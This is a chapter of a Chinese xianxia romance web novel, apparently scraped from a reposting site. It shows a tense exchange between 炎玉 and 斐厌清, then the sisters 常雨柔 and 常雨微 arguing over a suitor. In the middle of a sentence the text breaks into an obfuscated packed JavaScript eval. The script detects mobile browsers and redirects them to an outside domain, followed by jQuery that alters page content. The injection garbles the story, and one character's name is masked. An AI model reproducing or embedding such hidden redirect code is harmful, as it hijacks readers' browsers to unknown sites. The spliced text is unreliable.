24. 祸端
作品:《失忆后他作鳏夫好多年》 “你想离我远一点?”斐厌清眉峰微蹙,“你我之间,岂是你说远就远?
他不由分说地拉过对面人的手,炎玉当即想要抽出来,却没能挣脱出来。
斐厌清目光沉沉,“玉儿,是我啊。”
炎玉乍听那称呼,浑身一哆嗦,几乎是不假思索抬膝,一脚狠狠踩在斐厌清的白靴上,“你再乱叫?”
斐厌清的表情在那千分之一秒内不自然了一下,显然是被踩狠了,很快便又变回了平日里那副高岭之花的模样。
炎玉道:“说话就说话,手放我这里是想干嘛?”
饶是这般,斐厌清也没松开,他攥着炎玉的手起身,一路绕到她的身后。俯身时,温热的气息拂过她的耳廓,声音压得极低,带着隐忍的沉郁,“我尊他是你师父,旁的也就罢了。”
斐厌清其实并未真的贴上她,可炎玉偏觉得自己的后背像是被炭火燎着,斐厌清呼出的气直往她的耳朵里钻。
她身体里的某个部位又开始乱跳起来了,就像烧开的水一样,不停地咕咚咕咚冒着泡。
“谁也不能把你从我身边夺走。”斐厌清目光阴鸷,“哪怕是天。”
炎玉脑子里塞了一团乱窜黑线,那些滚烫的触感、急促的心跳搅得她头晕目眩,斐厌清的话她听不太清,她受不了了,猛地从座位上弹起。
“咔嗒”一声,是撞到斐厌清下颌了。
斐厌清闷哼一声,头微微往后仰了些许。
炎玉扭过脸来,“你魔怔了?叽里咕噜说什么呢?”
斐厌清到底在后面偷偷给她施了什么法术?让她突然这么难受?
这么说来,斐厌清真的很危险。
“你是铁头嘛?”斐厌清终于忍不住了,低斥一句,下颌的钝痛还没散去,却先急着探身,一手捂着自己的下巴,一手扒开炎玉的头发看她有没有受伤。
炎玉即便当前已是眼冒金星,也手疾眼快截住他,炎玉掌心摸着自己的头盖骨打圈,道:“谁让你离我那么近?”并转过来跟斐厌清面对着面,一本正经接着道:“你以后不准随便进我院里。”
斐厌清没吭声。
炎玉继续道:“不准牵着手讲话。”
“不准……”她顿了顿,想起方才背后那阵灼人感,蹙眉补充,“……偷偷跑我后面去。”
“让开。我要休息了。”炎玉说着便掰着斐厌清的胳膊,半推半搡地把人往门外送。
斐厌清倒没怎么抗拒,顺着那力道退到了门槛外,却仍用手臂抵着门板,没让她彻底关上。
“斐厌清,”炎玉突然想起一件重要的事,“还记得要陪我练惊鸿吗?”
“脚疼。”斐厌清故意打了个哈欠,一只眼懒洋洋地闭着,另一只眼却亮闪闪地凝着她,淡声道:“再说吧。”
该死,怎么把这茬给忘了,现在让他寻着理由敷衍她了。
“好吧,那等你好了再说。”炎玉瞪了一眼,将手伸出门外,五指张开,补充了一句,“最多给你五天时间。”
斐厌清应了声,转身时脚步却迈得虎虎生风,哪有半分脚疼的样子?
炎玉见状,从窗户探出脑袋,扬声问:“你真脚疼?”
斐厌清脚步一顿,回头时眉梢挑着笑意反问:“你真要休息?”
炎玉听见这话没好气地哼了声,刚要关窗,便听见斐厌清拿腔拿调喊:“疼,疼死了要。”
炎玉自己不觉得,那一脚她用了九成九的力气,斐厌清脚不疼才奇怪,只是他故意愈走愈快罢了。
炎玉倒看他这演都不想演的样子,“噌”地窜起一股无名火,“砰”地关上窗户,闷声道:“不想练就不想练,这什么破借口!”
末了又气鼓鼓地补上一句:“我睡觉总行了吧?”
*
暮色四合,四合院里渐渐浸染上一层朦胧的灰蓝。常雨柔支着下颌坐在石凳上,目光定定地落在敞开的大门方向。
外门弟子的住处是个规整的小院,三间屋子分落三方,各住一人。
突然有脚步声靠近,常雨柔面露欣喜,当即起身迎接,看清来人后,笑容又僵了在脸上,她拢了拢衣襟,招呼道:“方菲。”
方菲怀里抱着几卷书,跨过门槛,沉默地点了一下头,算作回应。
临回自己屋里前,方菲低声道了一句,“雨微兴许今晚不回来了。”
话音落,木门合上,片刻后,方菲屋内的窗纸上便映出一道伏案的身影,灯光透过纸页,将她垂首阅书的身影拓得格外清晰。
常雨柔在屋外,方菲在屋内,二人就这样一里一外,一明一暗,只有漏进院的月光,静静覆在两人身上。
等得时间太久,常雨柔撑头的手一歪,趴在桌上睡着了。
不知过去了多久,断断续续的黏腻对话飘进常雨柔半醒的意识里,许是太过困倦,懒怠着没有睁眼,只下意识地蹙了蹙眉。
“来都来了,不邀我进去坐坐?”□□中视线在常雨微身上打着转,语气里带着几分漫不经心的轻佻。
常雨微委婉拒绝道:“不太方便吧,这里都是女子。”
“有什么不方便的?这破地方我还不稀得来呢。”□□中把面前的美人欺到墙上,刻意压着嗓子说话,“什么时候搬过去跟我一起住?”
常雨微退无可退,背抵上了墙,只得抬手轻轻推了□□中一下,娇嗔道:“哎呀~讨厌~”
□□中喉结上下滑动,不等常雨微再说什么,他已经俯下身,不由分说地吻了上去。
两人的身影在门框投下的阴影里交叠,重重的喘息混着夜风,在寂静的庭院里悄然弥漫开来。
常雨柔猛然惊醒,快步冲出院门,很快就见到了妹妹雨微正跟她不知道第多少任的男友你侬我侬的刺眼场面,一股从未有过的勇气直冲头顶,常雨柔没有半分犹豫,一把将男的推开,斥道:“干什么你!”
□□中踉跄着后退两步,脸上还带着错愕。
常雨柔却没看他,转身拉住常雨微的手腕,语
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919604|173472||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气瞬间又软了下来,带着掩饰不住的担忧,“微微,你没事吧?”
这态度转变之丝滑,让□□中更错愕了。
常雨微有些尴尬,“这么晚了你在外面干什么?”
常雨柔抬手替她拂去肩头的夜露,声音平静无波,“等你回来。”
“我这么大个人还能丢了不成?”常雨微拨开她的手,语气里带着点不耐烦。
常雨柔没接话,只拉着她的手腕往屋里走。
“哟,原来是柔柔啊……”□□中目光黏在常雨柔身上,慢悠悠地跟着姐妹俩,语气里带着几分说不清道不明的意味。他生得一副国字脸,眉眼周正,倒显正气,打扮得却很是花哨惹眼,九曜天的内门弟子服被改得没了原本的肃正,领口裁得更敞,贴上银片,下摆绣上暗纹,透着股刻意的张扬。
常雨微脸上常年挂着的假笑倏地敛了去,眉头一蹙,眼风利落地扫向□□中,带着明显的不悦。可那点不友善刚露出来,又像被什么掐断了似的,瞬间敛起,重新换上那副柔婉的模样,快得让人以为是错觉。
进了屋子,常雨柔伸手就要关门,“这是女弟子住处,出去!”
□□中伸手欲阻止,眼见着那门就要夹到他,□□中悻悻收了手,“微微,我先走了啊!”
常雨微扬手,脸上堆起依依不舍的神情,声音却甜得发腻,“刘公子,慢走啊~”
门“砰”地一声合上,将院外的视线彻底隔绝。
常雨微立刻就收了那副不舍表情。
常雨微冷下脸时,眉眼间的柔媚褪去,露出几分凌厉的轮廓,反倒衬得那张本就昳丽的脸更添了几分慑人的绝色。
常雨柔皱着眉头,沉声道:“你以后不要再跟他来往了,也不是什么好人。”
常雨微边转身边翻白眼,“你管我?”她坐在妆台前,头上珠翠一只只被摘下,扔在妆奁里发出细碎的碰撞声,耳上的环铛也随着动作滑落,窸窸窣窣声中,常雨微问:“这几天你去哪儿了?”
“去了宁安城。”
“你跑到那个什么城……”常雨微从铜镜里瞥她一眼,“是接了委托?”
常雨柔没说话,只是从袖子中取出个描金小盒,轻轻推到妆台上。盒盖掀开,里面躺着一支鸢尾花嵌珠银簪,“觉得适合你,便买了一支,要是遇到危险还能保护你,”常雨柔顶了一下花托,里面的银针露出。
说完,她便将簪子往常雨微面前推了推,抬眼望她,语气里带着几分不易察觉的期待”好看吗?”
常雨微扫了一眼,淡声道:“一般吧。”转过身看着常雨柔,问:“你到底想干吗?”
常雨柔问:“你喜欢那个人吗?”
“喜欢?”常雨微嗤道:“这玩意儿能当饭吃吗?他喜欢我的脸,我喜欢他能带给我的东西,就这么简单。”
她顿了顿,忽然从镜中直起身,眼底是压抑不住的得意,“柔柔,告诉你一个好消息——”
“我马上就要当内门弟子了。”

